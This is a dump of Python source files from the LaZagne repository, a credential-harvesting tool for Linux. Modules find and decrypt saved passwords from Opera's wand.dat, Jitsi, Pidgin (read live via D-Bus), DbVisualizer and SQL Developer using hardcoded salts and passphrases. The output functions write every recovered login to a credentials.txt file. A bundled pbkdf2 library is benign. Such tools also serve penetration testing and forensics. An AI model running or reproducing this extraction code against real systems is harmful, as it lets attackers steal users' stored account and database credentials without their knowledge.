19 | from softwares.databases.sqldeveloper import SQLDeveloper
20 |
21 | def get_categories():
22 | category = {
23 | 'chats': {'help': 'Chat clients supported'},
24 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
25 | 'database': {'help': 'SQL clients supported'},
26 | 'mails': {'help': 'Email clients supported'},
27 | 'wifi': {'help': 'Wifi'},
28 | 'browsers': {'help': 'Web browsers supported'},
29 | 'wallet': {'help': 'Windows credentials (credential manager, etc.)'}
30 | }
31 | return category
32 |
33 | def get_modules():
34 | moduleNames = [
35 | DbVisualizer(),
36 | Env_variable(),
37 | Filezilla(),
38 | Gnome(),
39 | Jitsi(),
40 | Mozilla(),
41 | Opera(),
42 | Pidgin(),
43 | SQLDeveloper(),
44 | Squirrel(),
45 | Wifi(),
46 | Wpa_supplicant(),
47 | kde()
48 | ]
49 | return moduleNames
50 |
--------------------------------------------------------------------------------
/Linux/src/config/moduleInfo.py:
--------------------------------------------------------------------------------
1 | # name => Name of a class
2 | # category => windows / browsers / etc
3 | # options => dictionary
4 | # - command
5 | # - action
6 | # - dest
7 | # - help
8 | # ex: ('-s', action='store_true', dest='skype', help='skype')
9 | # options['command'] = '-s'
10 | # options['action'] = 'store_true'
11 | # options['dest'] = 'skype'
12 | # options['help'] = 'skype'
13 |
14 | class ModuleInfo():
15 | def __init__(self, name, category, options, suboptions = []):
16 | self.name = name
17 | self.category = category
18 | self.options = options
19 | self.suboptions = suboptions
20 |
21 | def name(self):
22 | return self.name
23 |
24 | def category(self):
25 | return self.category
26 |
27 | def options(self):
28 | return self.options
29 |
30 | def suboptions(self):
31 | return self.suboptions
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Linux/src/config/write_output.py:
--------------------------------------------------------------------------------
1 | import constant
2 | import os
3 | from time import gmtime, strftime
4 | import getpass
5 | import socket
6 | from config.header import Header
7 | from config.color import bcolors
8 | from config.constant import constant
9 | import logging
10 |
11 | # --------------------------- Functions used to write ---------------------------
12 |
13 | def write_header():
14 | time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
15 | header = '''|====================================================================|
16 | | |
17 | | Credentsials discovery |
18 | | |
19 | | ! BANG BANG ! |
20 | | |
21 | |====================================================================|\n
22 | - Date: ''' + time + '''
23 | - Username: ''' + getpass.getuser() + '''
24 | - Hostname: ''' + socket.gethostname() + ''' \n
25 | ------------------------------ Results ------------------------------\n'''
26 |
27 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(header)
28 |
29 | def write_footer():
30 | footer = '\n[+] %s passwords have been found.\n\n' % str(constant.nbPasswordFound)
31 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(footer)
32 |
33 | def write_credentials(pwdFound, category):
34 | tmp = "############ %s passwords ############\r\n\r\n" % category
35 | for pwd in pwdFound:
36 | for p in pwd.keys():
37 | tmp = str(tmp) + str(p) + ": " + str(pwd[p]) + "\r\n"
38 | tmp = str(tmp) + "\r\n"
39 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(tmp)
40 |
41 | def checks_write(values, category):
42 | if values:
43 | if constant.output == 'txt':
44 | try:
45 | write_credentials(values, category)
46 | logging.info('[+] Credentials stored successfully on the file: %s\\credentials.txt\n' % constant.folder_name)
47 | except:
48 | logging.info('Couldn\'t write the results file\n')
49 |
50 | # --------------------------- End of functions used to write ---------------------------
51 |
52 | # --------------------------- Output functions ---------------------------
53 |
54 | def print_footer():
55 | footer = '\n[+] %s passwords have been found.\n' % str(constant.nbPasswordFound)
56 | if logging.getLogger().isEnabledFor(logging.INFO) == False:
57 | footer += 'For more information launch it again with the -v option\n'
58 | print footer
59 |
60 | # print output if passwords have been found
61 | def print_output(software_name, pwdFound):
62 | if pwdFound:
63 | # if the debug logging level is not apply => print the title
64 | if logging.getLogger().isEnabledFor(logging.INFO) == False:
65 | Header().title(software_name)
66 |
67 | toWrite = []
68 | for pwd in pwdFound:
69 | lower_list = [s.lower() for s in pwd.keys()]
70 | password = [s for s in lower_list if "password" in s]
71 | key = [s for s in lower_list if "key" in s] # for the wifi
72 |
73 | # No password found
74 | if not password and not key:
75 | print_debug("FAILED", "Password not found !!!")
76 | else:
77 | print_debug("OK", "Password found !!!")
78 | toWrite.append(pwd)
79 | # Store all passwords found on a table => for dictionary attack if master password set
80 | constant.nbPasswordFound += 1
81 | try:
82 | if password:
83 | constant.passwordFound.append(pwd['Password'].strip())
84 | elif key:
85 | constant.passwordFound.append(pwd['key'])
86 | except:
87 | pass
88 |
89 | for p in pwd.keys():
90 | print '%s: %s' % (p, pwd[p])
91 | print
92 |
93 | # write credentials into a text file
94 | checks_write(toWrite, software_name)
95 | else:
96 | logging.info("[!] No passwords found\n")
97 |
98 |
99 | def print_debug(error_level, message):
100 |
101 | b = bcolors()
102 |
103 | # print when password is found
104 | if error_level == 'OK':
105 | print b.OK + message + b.ENDC
106 |
107 | # print when password is not found
108 | elif error_level == 'FAILED':
109 | print b.FAIL + message + b.ENDC
110 |
111 | # print messages depending of their criticism
112 | elif error_level == 'CRITICAL':
113 | logging.error(b.FAIL + '[CRITICAL] ' + message + '\n' + b.ENDC)
114 |
115 | elif error_level == 'ERROR':
116 | logging.error(b.FAIL + '[ERROR] ' + message + '\n' + b.ENDC)
117 |
118 | elif error_level == 'WARNING':
119 | logging.warning(b.WARNING + message + '\n' + b.ENDC)
120 |
121 | elif error_level == 'DEBUG':
122 | logging.debug(message + '\n')
123 |
124 | elif error_level == 'INFO':
125 | logging.info(message + '\n')
126 |
127 | else:
128 | logging.info('[%s] %s' % (error_level, message))
129 |
130 | # --------------------------- End of output functions ---------------------------
--------------------------------------------------------------------------------
/Linux/src/softwares/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/src/softwares/__init__.py
--------------------------------------------------------------------------------
/Linux/src/softwares/browsers/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/browsers/opera.py:
--------------------------------------------------------------------------------
1 | import sys, struct, hashlib, binascii, re, os
2 | from Crypto.Cipher import DES3
3 | from ConfigParser import RawConfigParser
4 | import sqlite3
5 | from config.header import Header
6 | from config.constant import *
7 | from config.write_output import print_debug, print_output
8 | from config.moduleInfo import ModuleInfo
9 |
10 | CIPHERED_FILE = ''
11 |
12 | class Opera(ModuleInfo):
13 | def __init__(self):
14 | options = {'command': '-o', 'action': 'store_true', 'dest': 'opera', 'help': 'opera'}
15 | ModuleInfo.__init__(self, 'opera', 'browsers', options)
16 |
17 | def run(self):
18 | # print the title
19 | Header().title_info('Opera')
20 |
21 | # retrieve opera folder
22 | path = self.get_path()
23 |
24 | if not path:
25 | print_debug('INFO', 'Opera not installed.')
26 | return
27 |
28 | passwords = ''
29 | # check the use of master password
30 | if not os.path.exists(path + os.sep + 'operaprefs.ini'):
31 | print_debug('INFO', 'The preference file operaprefs.ini has not been found.')
32 | else:
33 | if self.masterPasswordUsed(path) == '0':
34 | print_debug('INFO', 'No master password defined.')
35 | elif self.masterPasswordUsed(path) == '1':
36 | print_debug('WARNING', 'A master password is used.')
37 | else:
38 | print_debug('WARNING', 'An error occurs, the use of master password is not sure.')
39 | print
40 |
41 | passwords = self.decipher_old_version(path)
42 |
43 | if passwords:
44 | self.parse_results(passwords)
45 | else:
46 | print_debug('INFO', 'The wand.dat seems to be empty')
47 |
48 |
49 | def get_path(self):
50 | path = os.path.expanduser("~/.opera")
51 | if os.path.exists(path):
52 | return path
53 | else:
54 | return None
55 |
56 | def decipher_old_version(self, path):
57 | salt = '837DFC0F8EB3E86973AFFF'
58 |
59 | # retrieve wand.dat file
60 | if not os.path.exists(path + os.sep + 'wand.dat'):
61 | print_debug('WARNING', 'wand.dat file has not been found.')
62 | return
63 |
64 | # read wand.dat
65 | f = open(path + os.sep + 'wand.dat', 'rb')
66 | file = f.read()
67 | fileSize = len(file)
68 |
69 | passwords = []
70 |
71 | offset = 0
72 | while offset < fileSize:
73 |
74 | offset = file.find('\x08', offset) + 1
75 |
76 | if offset == 0:
77 | break
78 |
79 | tmp_blockLength = offset - 8
80 | tmp_datalen = offset + 8
81 |
82 | blockLength = struct.unpack('!i', file[tmp_blockLength : tmp_blockLength + 4])[0]
83 | datalen = struct.unpack('!i', file[tmp_datalen : tmp_datalen + 4])[0]
84 |
85 | binary_salt = binascii.unhexlify(salt)
86 | desKey = file[offset: offset + 8]
87 | tmp = binary_salt + desKey
88 |
89 | md5hash1 = hashlib.md5(tmp).digest()
90 | md5hash2 = hashlib.md5(md5hash1 + tmp).digest()
91 |
92 | key = md5hash1 + md5hash2[0:8]
93 | iv = md5hash2[8:]
94 |
95 | data = file[offset + 8 + 4: offset + 8 + 4 + datalen]
96 |
97 | des3dec = DES3.new(key, DES3.MODE_CBC, iv)
98 | plaintext = des3dec.decrypt(data)
99 |
100 | plaintext = re.sub(r'[^\x20-\x7e]', '', plaintext)
101 | passwords.append(plaintext)
102 |
103 | offset += 8 + 4 + datalen
104 | return passwords
105 |
106 |
107 | def masterPasswordUsed(self, path):
108 | # the init file is not well defined so lines have to be removed before to parse it
109 | cp = RawConfigParser()
110 | f = open(path + os.sep + 'operaprefs.ini', 'rb')
111 |
112 | f.readline() # discard first line
113 | while 1:
114 | try:
115 | cp.readfp(f)
116 | break
117 | except:
118 | f.readline() # discard first line
119 | try:
120 | master_pass = cp.get('Security Prefs','Use Paranoid Mailpassword')
121 | return master_pass
122 | except:
123 | return False
124 |
125 |
126 | def parse_results(self, passwords):
127 |
128 | cpt = 0
129 | values = {}
130 | pwdFound = []
131 | for password in passwords:
132 | # date (begin of the sensitive data)
133 | match=re.search(r'(\d+-\d+-\d+)', password)
134 | if match:
135 | values = {}
136 | cpt = 0
137 | tmp_cpt = 0
138 |
139 | # after finding 2 urls
140 | if cpt == 2:
141 | tmp_cpt += 1
142 | if tmp_cpt == 2:
143 | values['Username'] = password
144 | elif tmp_cpt == 4:
145 | values['Password'] = password
146 | pwdFound.append(values)
147 |
148 | # url
149 | match=re.search(r'^http', password)
150 | if match:
151 | cpt +=1
152 | if cpt == 1:
153 | tmp_url = password
154 | elif cpt == 2:
155 | values['URL'] = tmp_url
156 |
157 | # print the results
158 | print_output('Opera', pwdFound)
159 |
160 |
161 |
--------------------------------------------------------------------------------
/Linux/src/softwares/chats/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/chats/jitsi.py:
--------------------------------------------------------------------------------
1 | from base64 import b64decode
2 | import hashlib, os, re
3 | import binascii, array
4 | from Crypto.Cipher import AES
5 | from config.header import Header
6 | from config.constant import *
7 | from config.write_output import print_debug, print_output
8 | from config.moduleInfo import ModuleInfo
9 |
10 | # From https://github.com/mitsuhiko/python-pbkdf2
11 | from pbkdf2 import pbkdf2_bin
12 |
13 | class Jitsi(ModuleInfo):
14 | def __init__(self):
15 | options = {'command': '-j', 'action': 'store_true', 'dest': 'jitsi', 'help': 'jitsi'}
16 | suboptions = [{'command': '-ma', 'action': 'store', 'dest': 'master_pwd', 'help': 'enter the master password manually', 'title': 'Advanced jitsi option'}]
17 | ModuleInfo.__init__(self, 'jitsi', 'chats', options, suboptions)
18 |
19 | self.keylen = 32
20 | self.iterations = 1024
21 | self.padding = '\f'
22 | self.account_id = ''
23 | self.master_password_used = False
24 | self.masterpass = ' '
25 |
26 | def get_salt(self):
27 | salt_array = [12, 10, 15, 14, 11, 14, 14, 15]
28 | salt = array.array('b', salt_array)
29 | hexsalt = binascii.hexlify(salt)
30 | return binascii.unhexlify(hexsalt)
31 |
32 | def get_path(self):
33 | directory = '~/.jitsi'
34 | directory = os.path.expanduser(directory) + os.sep + 'sip-communicator.properties'
35 |
36 | if os.path.exists(directory):
37 | return directory
38 | else:
39 | return 'JITSI_NOT_EXISTS'
40 |
41 |
42 | def get_info(self, file_properties):
43 | values = {}
44 |
45 | f = open(file_properties,'r')
46 | line = f.readline()
47 |
48 |
49 | cpt = 0
50 | pwdFound = []
51 | while line:
52 | if 'ACCOUNT_UID' in line:
53 | m = re.match(r"(.*)ACCOUNT_UID=(.*$)",line)
54 | if m:
55 | # password found
56 | if cpt > 0:
57 | pwdFound.append(values)
58 | cpt = 0
59 |
60 | values = {}
61 | values['Account id'] = m.group(2)
62 | cpt += 1
63 |
64 | if 'ENCRYPTED_PASSWORD' in line:
65 | m = re.match(r"(.*)ENCRYPTED_PASSWORD=(.*$)",line)
66 | if m:
67 | values['Password'] = self.decrypt_password(m.group(2)).replace('\x06', '')
68 | cpt += 1
69 |
70 | if 'credentialsstorage.MASTER' in line:
71 | m = re.match(r"(.*)credentialsstorage.MASTER=(.*$)",line)
72 | if m:
73 | values['Masterpass used'] = True
74 | self.master_password_used = True
75 |
76 | line = f.readline()
77 |
78 | if len(values) != 0:
79 | pwdFound.append(values)
80 |
81 | # print the results
82 | print_output('Jitsi', pwdFound)
83 | f.close()
84 |
85 | def decrypt_password(self, encrypted_pass):
86 | salt = self.get_salt()
87 |
88 | if self.master_password_used and constant.jitsi_masterpass:
89 | self.masterpass = constant.jitsi_masterpass
90 | elif self.master_password_used and not constant.jitsi_masterpass:
91 | return '[!] A master password is used, the password cannot be decrypted. Provide a masterpassword using the -ma option'
92 |
93 | # --- Decrypting the password ---
94 | # generate hash
95 | secret = pbkdf2_bin(bytes(self.masterpass), salt, self.iterations, self.keylen, hashfunc=hashlib.sha1)
96 |
97 | # decrypt password
98 | cipher = AES.new(secret)
99 | plaintext = cipher.decrypt(b64decode(encrypted_pass)).rstrip(self.padding)
100 |
101 | return plaintext
102 |
103 | # main function
104 | def run(self):
105 | # print the title
106 | Header().title_info('Jitsi')
107 |
108 | file_properties = self.get_path()
109 | if file_properties == 'JITSI_NOT_EXISTS':
110 | print_debug('INFO', 'Jitsi not installed.')
111 |
112 | else:
113 | self.get_info(file_properties)
114 |
115 |
116 |
--------------------------------------------------------------------------------
/Linux/src/softwares/chats/pbkdf2.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | pbkdf2
4 | ~~~~~~
5 |
6 | This module implements pbkdf2 for Python. It also has some basic
7 | tests that ensure that it works. The implementation is straightforward
8 | and uses stdlib only stuff and can be easily be copy/pasted into
9 | your favourite application.
10 |
11 | Use this as replacement for bcrypt that does not need a c implementation
12 | of a modified blowfish crypto algo.
13 |
14 | Example usage:
15 |
16 | >>> pbkdf2_hex('what i want to hash', 'the random salt')
17 | 'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9'
18 |
19 | How to use this:
20 |
21 | 1. Use a constant time string compare function to compare the stored hash
22 | with the one you're generating::
23 |
24 | def safe_str_cmp(a, b):
25 | if len(a) != len(b):
26 | return False
27 | rv = 0
28 | for x, y in izip(a, b):
29 | rv |= ord(x) ^ ord(y)
30 | return rv == 0
31 |
32 | 2. Use `os.urandom` to generate a proper salt of at least 8 byte.
33 | Use a unique salt per hashed password.
34 |
35 | 3. Store ``algorithm$salt:costfactor$hash`` in the database so that
36 | you can upgrade later easily to a different algorithm if you need
37 | one. For instance ``PBKDF2-256$thesalt:10000$deadbeef...``.
38 |
39 |
40 | :copyright: (c) Copyright 2011 by Armin Ronacher.
41 | :license: BSD, see LICENSE for more details.
42 | """
43 | import hmac
44 | import hashlib
45 | from struct import Struct
46 | from operator import xor
47 | from itertools import izip, starmap
48 |
49 |
50 | _pack_int = Struct('>I').pack
51 |
52 |
53 | def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None):
54 | """Like :func:`pbkdf2_bin` but returns a hex encoded string."""
55 | return pbkdf2_bin(data, salt, iterations, keylen, hashfunc).encode('hex')
56 |
57 |
58 | def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None):
59 | """Returns a binary digest for the PBKDF2 hash algorithm of `data`
60 | with the given `salt`. It iterates `iterations` time and produces a
61 | key of `keylen` bytes. By default SHA-1 is used as hash function,
62 | a different hashlib `hashfunc` can be provided.
63 | """
64 | hashfunc = hashfunc or hashlib.sha1
65 | mac = hmac.new(data, None, hashfunc)
66 | def _pseudorandom(x, mac=mac):
67 | h = mac.copy()
68 | h.update(x)
69 | return map(ord, h.digest())
70 | buf = []
71 | for block in xrange(1, -(-keylen // mac.digest_size) + 1):
72 | rv = u = _pseudorandom(salt + _pack_int(block))
73 | for i in xrange(iterations - 1):
74 | u = _pseudorandom(''.join(map(chr, u)))
75 | rv = starmap(xor, izip(rv, u))
76 | buf.extend(rv)
77 | return ''.join(map(chr, buf))[:keylen]
78 |
79 |
80 | def test():
81 | failed = []
82 | def check(data, salt, iterations, keylen, expected):
83 | rv = pbkdf2_hex(data, salt, iterations, keylen)
84 | if rv != expected:
85 | print 'Test failed:'
86 | print ' Expected: %s' % expected
87 | print ' Got: %s' % rv
88 | print ' Parameters:'
89 | print ' data=%s' % data
90 | print ' salt=%s' % salt
91 | print ' iterations=%d' % iterations
92 | print
93 | failed.append(1)
94 |
95 | # From RFC 6070
96 | check('password', 'salt', 1, 20,
97 | '0c60c80f961f0e71f3a9b524af6012062fe037a6')
98 | check('password', 'salt', 2, 20,
99 | 'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957')
100 | check('password', 'salt', 4096, 20,
101 | '4b007901b765489abead49d926f721d065a429c1')
102 | check('passwordPASSWORDpassword', 'saltSALTsaltSALTsaltSALTsaltSALTsalt',
103 | 4096, 25, '3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038')
104 | check('pass\x00word', 'sa\x00lt', 4096, 16,
105 | '56fa6aa75548099dcc37d7f03425e0c3')
106 | # This one is from the RFC but it just takes for ages
107 | ##check('password', 'salt', 16777216, 20,
108 | ## 'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984')
109 |
110 | # From Crypt-PBKDF2
111 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 16,
112 | 'cdedb5281bb2f801565a1122b2563515')
113 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 32,
114 | 'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837')
115 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 16,
116 | '01dbee7f4a9e243e988b62c73cda935d')
117 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 32,
118 | '01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86')
119 | check('password', 'ATHENA.MIT.EDUraeburn', 1200, 32,
120 | '5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13')
121 | check('X' * 64, 'pass phrase equals block size', 1200, 32,
122 | '139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1')
123 | check('X' * 65, 'pass phrase exceeds block size', 1200, 32,
124 | '9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a')
125 |
126 | raise SystemExit(bool(failed))
127 |
128 |
129 | if __name__ == '__main__':
130 | test()
131 |
--------------------------------------------------------------------------------
/Linux/src/softwares/chats/pidgin.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import os
3 | from config.header import Header
4 | from config.constant import *
5 | from config.write_output import print_debug, print_output
6 | import dbus
7 | from config.moduleInfo import ModuleInfo
8 |
9 | class Pidgin(ModuleInfo):
10 | def __init__(self):
11 | options = {'command': '-p', 'action': 'store_true', 'dest': 'pidgin', 'help': 'pidgin'}
12 | ModuleInfo.__init__(self, 'pidgin', 'chats', options)
13 |
14 | # if pidgin is started, use the api to retrieve all passwords
15 | def check_if_pidgin_started(self):
16 | try:
17 | bus = dbus.SessionBus()
18 | purple = bus.get_object("im.pidgin.purple.PurpleService","/im/pidgin/purple/PurpleObject","im.pidgin.purple.PurpleInterface")
19 | acc = purple.PurpleAccountsGetAllActive()
20 |
21 | pwdFound = []
22 | for x in range(len(acc)):
23 | values = {}
24 | _acc = purple.PurpleAccountsGetAllActive()[x]
25 | values['Login'] = purple.PurpleAccountGetUsername(_acc)
26 | values['Password'] = purple.PurpleAccountGetPassword(_acc)
27 | values['Protocol'] = purple.PurpleAccountGetProtocolName(_acc)
28 | pwdFound.append(values)
29 |
30 | # print the results
31 | return pwdFound
32 | except:
33 | # [!] Pidgin is not started :-(
34 | return False
35 |
36 |
37 | def run(self):
38 | # print the title
39 | Header().title_info('Pidgin')
40 |
41 | pwdFound = []
42 | try:
43 | pwdTab = self.check_if_pidgin_started()
44 | if pwdTab != False:
45 | pwdFound = pwdTab
46 | except:
47 | pass
48 |
49 | directory = '~/.purple'
50 | directory = os.path.expanduser(directory)
51 |
52 | path = os.path.join(directory, 'accounts.xml')
53 |
54 | if os.path.exists(path):
55 | tree = ET.ElementTree(file=path)
56 |
57 | root = tree.getroot()
58 | accounts = root.getchildren()
59 |
60 | for a in accounts:
61 | values = {}
62 | aa = a.getchildren()
63 | for tag in aa:
64 | cpt = 0
65 | if tag.tag == 'name':
66 | cpt = 1
67 | values['Login'] = tag.text
68 |
69 | if tag.tag == 'password':
70 | values['Password'] = tag.text
71 |
72 | if len(values) != 0:
73 | pwdFound.append(values)
74 |
75 | # print the results
76 | print_output('Pidgin', pwdFound)
77 | else:
78 | print_debug('INFO', 'Pidgin not installed.')
79 |
80 |
81 |
--------------------------------------------------------------------------------
/Linux/src/softwares/databases/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/databases/dbvis.py:
--------------------------------------------------------------------------------
1 | from Crypto.Hash import MD5
2 | from Crypto.Cipher import DES
3 | import binascii, array, hashlib
4 | import base64, re, os
5 | import xml.etree.cElementTree as ET
6 | from config.header import Header
7 | from config.write_output import print_debug, print_output
8 | from config.moduleInfo import ModuleInfo
9 |
10 | class DbVisualizer(ModuleInfo):
11 | def __init__(self):
12 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dbvis', 'help': 'dbvisualizer'}
13 | ModuleInfo.__init__(self, 'dbvis', 'database', options)
14 |
15 | # ---- functions used to decrypt the password ----
16 | def get_salt(self):
17 | salt_array = [-114,18,57,-100,7,114,111,90]
18 | salt = array.array('b', salt_array)
19 | hexsalt = binascii.hexlify(salt)
20 | return binascii.unhexlify(hexsalt)
21 |
22 | def get_iteration(self):
23 | return 10
24 |
25 | def get_derived_key(self, password, salt, count):
26 | key = bytearray(password) + salt
27 |
28 | for i in range(count):
29 | m = hashlib.md5(key)
30 | key = m.digest()
31 | return (key[:8], key[8:])
32 |
33 | def decrypt(self, salt, msg, password):
34 | enc_text = base64.b64decode(msg)
35 |
36 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration())
37 | crypter = DES.new(dk, DES.MODE_CBC, iv)
38 | text = crypter.decrypt(enc_text)
39 |
40 | return re.sub(r'[\x01-\x08]','',text)
41 |
42 | def get_passphrase(self):
43 | return 'qinda'
44 |
45 | # ---- end of the functions block ----
46 |
47 | def get_infos(self, path, passphrase, salt):
48 | xml_file = path + os.sep + 'config70/dbvis.xml'
49 |
50 | if os.path.exists(xml_file):
51 | tree = ET.ElementTree(file=xml_file)
52 |
53 | pwdFound = []
54 | values = {}
55 | for elem in tree.iter('Databases'):
56 | values = {}
57 | passwordFound = False
58 |
59 | for e in elem.iter():
60 | if 'Alias' == e.tag:
61 | values['Connection Name'] = str(e.text)
62 |
63 | if 'Userid' == e.tag:
64 | values['Userid'] = str(e.text)
65 |
66 | if 'Password' == e.tag:
67 | ciphered_password = e.text
68 | try:
69 | password = self.decrypt(salt, ciphered_password, passphrase)
70 | values['Password'] = password
71 | passwordFound = True
72 | except Exception,e:
73 | print_debug('ERROR', '{0}'.format(e))
74 |
75 | if 'UrlVariables' == e.tag:
76 | for el in e.getchildren():
77 | values['Driver'] = str(el.text).strip()
78 |
79 | for ele in el.getchildren():
80 | if 'Server' == ele.attrib['UrlVariableName']:
81 | values['Server'] = str(ele.text)
82 |
83 | if 'Port' == ele.attrib['UrlVariableName']:
84 | values['Port'] = str(ele.text)
85 |
86 | if 'SID' == ele.attrib['UrlVariableName']:
87 | values['SID'] = str(ele.text)
88 |
89 | if passwordFound:
90 | pwdFound.append(values)
91 |
92 | # print the results
93 | print_output('DbVisualizer', pwdFound)
94 |
95 | def get_mainPath(self):
96 | directory = '~/.dbvis'
97 | directory = os.path.expanduser(directory)
98 |
99 | if os.path.exists(directory):
100 | return directory
101 | else:
102 | return 'DBVIS_NOT_EXISTS'
103 |
104 | def run(self):
105 | # print the title
106 | Header().title_info('DbVisualizer')
107 |
108 | mainPath = self.get_mainPath()
109 |
110 | if mainPath == 'DBVIS_NOT_EXISTS':
111 | print_debug('INFO', 'DbVisualizer not installed.')
112 |
113 | else:
114 | passphrase = self.get_passphrase()
115 |
116 | salt = self.get_salt()
117 | self.get_infos(mainPath, passphrase, salt)
118 |
--------------------------------------------------------------------------------
/Linux/src/softwares/databases/sqldeveloper.py:
--------------------------------------------------------------------------------
1 | import binascii, base64
2 | from Crypto.Cipher import DES
3 | import array
4 | import hashlib, re, os
5 | import xml.etree.cElementTree as ET
6 | from config.header import Header
7 | from config.constant import *
8 | from config.write_output import print_debug, print_output
9 | from config.moduleInfo import ModuleInfo
10 |
11 | class SQLDeveloper(ModuleInfo):
12 | def __init__(self):
13 | options = {'command': '-s', 'action': 'store_true', 'dest': 'sqldeveloper', 'help': 'sqldeveloper'}
14 | ModuleInfo.__init__(self, 'sqldeveloper', 'database', options)
15 |
16 | def get_salt(self):
17 | salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
18 | salt = array.array('b', salt_array)
19 | hexsalt = binascii.hexlify(salt)
20 | return binascii.unhexlify(hexsalt)
21 |
22 | def get_iteration(self):
23 | return 42
24 |
25 | def get_derived_key(self, password, salt, count):
26 | key = bytearray(password) + salt
27 | for i in range(count):
28 | m = hashlib.md5(key)
29 | key = m.digest()
30 | return (key[:8], key[8:])
31 |
32 | def decrypt(self, salt, msg, password):
33 | enc_text = base64.b64decode(msg)
34 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration())
35 | crypter = DES.new(dk, DES.MODE_CBC, iv)
36 | text = crypter.decrypt(enc_text)
37 | return re.sub(r'[\x01-\x08]','',text)
38 |
39 | def get_mainPath(self):
40 | directory = '~/.sqldeveloper'
41 | directory = os.path.expanduser(directory)
42 | if os.path.exists(directory):
43 | for d in os.listdir(directory):
44 | if d.startswith('system'):
45 | directory += os.sep + d
46 | return directory
47 | return 'SQL_NO_PASSWD'
48 | else:
49 | return 'SQL_NOT_EXISTS'
50 |
51 |
52 | def get_passphrase(self, path):
53 | print path
54 | for p in os.listdir(path):
55 | if p.startswith('o.sqldeveloper.12'):
56 | path += os.sep + p
57 | break
58 |
59 | xml_file = path + os.sep + 'product-preferences.xml'
60 | if os.path.exists(xml_file):
61 | tree = ET.ElementTree(file=xml_file)
62 | for elem in tree.iter():
63 | if 'n' in elem.attrib.keys():
64 | if elem.attrib['n'] == 'db.system.id':
65 | return elem.attrib['v']
66 | return 'Not_Found'
67 | else:
68 | return 'xml_Not_Found'
69 |
70 | def get_infos(self, path, passphrase, salt):
71 | for p in os.listdir(path):
72 | if p.startswith('o.jdeveloper.db.connection'):
73 | path += os.sep + p
74 | break
75 |
76 | xml_file = path + os.sep + 'connections.xml'
77 |
78 | if os.path.exists(xml_file):
79 | tree = ET.ElementTree(file=xml_file)
80 | pwdFound = []
81 | values = {}
82 | for elem in tree.iter():
83 | if 'addrType' in elem.attrib.keys():
84 | if elem.attrib['addrType'] == 'sid':
85 | for e in elem.getchildren():
86 | values['SID'] = e.text
87 |
88 | elif elem.attrib['addrType'] == 'port':
89 | for e in elem.getchildren():
90 | values['Port'] = e.text
91 |
92 | elif elem.attrib['addrType'] == 'user':
93 | for e in elem.getchildren():
94 | values['Username'] = e.text
95 |
96 | elif elem.attrib['addrType'] == 'ConnName':
97 | for e in elem.getchildren():
98 | values['Connection Name'] = e.text
99 |
100 | elif elem.attrib['addrType'] == 'customUrl':
101 | for e in elem.getchildren():
102 | values['Custom Url'] = e.text
103 |
104 | elif elem.attrib['addrType'] == 'SavePassword':
105 | for e in elem.getchildren():
106 | values['SavePassword'] = e.text
107 |
108 | elif elem.attrib['addrType'] == 'hostname':
109 | for e in elem.getchildren():
110 | values['Hostname'] = e.text
111 |
112 | elif elem.attrib['addrType'] == 'password':
113 | for e in elem.getchildren():
114 | pwd = self.decrypt(salt, e.text, passphrase)
115 | values['Password'] = pwd
116 |
117 | elif elem.attrib['addrType'] == 'driver':
118 | for e in elem.getchildren():
119 | values['Driver'] = e.text
120 |
121 | print_debug('OK', 'Password found !!!')
122 | for v in values.keys():
123 | print v + ': ' + values[v]
124 | print
125 |
126 | pwdFound.append(values)
127 |
128 | values = {}
129 |
130 | # print the results
131 | print_output('SQL Developer', pwdFound)
132 | else:
133 | print_debug('WARNING', 'The xml file containing the passwords has not been found.')
134 |
135 | def run(self):
136 |
137 | # print the title
138 | Header().title_info('SQL Developer')
139 |
140 | mainPath = self.get_mainPath()
141 |
142 | if mainPath == 'SQL_NOT_EXISTS':
143 | print_debug('INFO', 'SQL Developer not installed.')
144 | elif mainPath == 'SQL_NO_PASSWD':
145 | print_debug('INFO', 'No passwords found.')
146 | else:
147 | passphrase = self.get_passphrase(mainPath)
148 |
149 | if passphrase == 'Not_Found':
150 | print_debug('WARNING', 'The passphrase used to encrypt has not been found.')
151 |
152 | elif passphrase == 'xml_Not_Found':
153 | print_debug('WARNING', 'The xml file containing the passphrase has not been found.')
154 |
155 | else:
156 | salt = self.get_salt()
157 | self.get_infos(mainPath, passphrase, salt)
158 |
